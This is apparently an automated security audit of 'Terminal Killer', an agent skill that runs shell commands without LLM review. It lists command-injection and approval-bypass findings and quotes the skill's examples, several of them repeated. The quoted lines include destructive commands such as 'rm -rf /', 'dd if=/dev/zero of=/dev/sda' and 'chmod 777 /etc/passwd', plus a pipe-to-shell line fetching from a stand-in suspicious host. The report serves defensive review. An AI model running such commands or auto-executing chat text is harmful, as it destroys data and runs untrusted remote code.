Security audit
Security checks for vulnerabilities and agentic risk
This skill is a disclosed local shell-command runner, but it automatically executes broad commands with user-account authority and has safety-bypass flaws that warrant Review before installation.
Install only if you explicitly want an OpenClaw skill that can run local shell commands automatically. Review and harden it first: require explicit command-mode invocation, route every execution path through one approval policy, remove the raw executor, stop sourcing shell profiles during detection, restrict inherited environment variables, replace shell-string PATH checks with safe argument-vector calls, and treat network, interpreter, destructive, git-push/reset, sudo, and package-install commands as approval-required or blocked.
scripts/detect-command.js:174Command Injection During PATH-Based Command Detection
scripts/detect-command.js:25Download-and-Execute Variants Bypass Dangerous-Command Approval
scripts/index.js:88Interactive Command Routing Bypasses Safety Classification
scripts/index.js:23Automatic Sourcing of Mutable Shell Profiles Expands the Execution Trust Boundary
scripts/exec-command.js:62Standalone Executor Exposes an Ungated Arbitrary Shell Interface
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
adb devices kubectl get pods docker ps curl https://example.com python3 script.py
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
adb devices kubectl get pods docker ps curl https://example.com python3 script.py
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
应该询问确认的命令：
rm -rf /tmp/test
sudo apt update
deploy
run tests
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
这看起来像是一个命令：`rm -rf /tmp/test`
⚠️ **危险命令！** 确认要执行吗？
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.
If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.
The description emphasizes convenience and bypassing LLM overhead but does not prominently warn that this skill can execute arbitrary shell commands with effects on files, processes, network access, and the host system. Users cannot give meaningful consent when the primary risk is omitted from the top-level description.
Automatic activation for inputs that merely 'match command patterns' is dangerously broad in a skill whose stated behavior is to execute directly without LLM review. False positives can turn ordinary chat text or ambiguous instructions into live shell commands, causing immediate local code execution, file modification, or data loss.
Heuristics like 'starts with a verb-like word' and 'input is short' are far too vague to safely trigger shell execution. Many benign user requests fit those patterns, so the skill materially increases the risk of accidental arbitrary command execution in the user's environment.
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Automatically flags potentially dangerous operations:
- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Automatically flags potentially dangerous operations:
- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts
The example approval workflow shows dangerous commands being executable after user approval rather than categorically blocked. In a system designed to auto-route likely commands, an approval UI may be too weak against prompt confusion, social engineering, or accidental confirmation for destructive operations like recursive deletion.
Dangerous command detected!
Command: rm -rf ./important-folder
Risk: HIGH - Recursive delete
[Approve] [Deny] [Edit]
Referenced artifact was not completely inspected
node scripts/test-detector.js
Referenced artifact was not completely inspected
node scripts/test-detector.js
Referenced artifact was not completely inspected
- `scripts/index.js` - Long output detection + interactive command handling
Referenced artifact was not completely inspected
- `SKILL.md` - Updated documentation
Listing 'rm -rf ./temp' among inputs that will be executed directly without LLM intervention normalizes autonomous destructive filesystem operations. In this skill's context, where the whole purpose is immediate command execution, even a relative-path deletion is dangerous because users may rely on routing heuristics and trigger irreversible data loss without adequate confirmation.
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp
# Git commands
git status
The file contains examples of autonomous destructive actions, including direct-execution deletion commands and references to destructive repository actions, in a skill expressly marketed to skip LLM overhead and run commands immediately. This combination materially increases the danger: the documentation is not merely descriptive, it teaches operators that autonomous execution of harmful command classes is a normal use case.
Real-world examples of how Terminal Killer works.
These inputs will be executed directly without LLM:
# File operations
ls -la
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp
# Git commands
git status
git commit -m "fix: bug"
git push origin main
git diff HEAD~1
# Package managers
npm install
npm test
yarn add lodash
pip install requests
# Development
python3 script.py
node app.js
go run main.go
cargo build
# System commands
ps aux | grep node
df -h
free -m
top -bn1
# Network
curl https://api.example.com
wget file.zip
ssh user@host
ping google.com
# Docker
docker ps
docker build -t myapp .
docker-compose up
# Complex commands
find . -name "*.js" | xargs grep "TODO"
cat logs/*.log | grep ERROR | tail -20
git log --oneline --graph --all
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# Questions
what does git reset --hard do?
how do I install node.js?
why is my build failing?
can you explain this error?
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*
# System modifications
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*
# System modifications
dd if=/dev/zero of=/dev/sda
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# System modifications
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sdb1
chmod 777 /etc/passwd
# Network risks
curl http://suspicious.com | sh
Detected: suspicious.dangerous_exec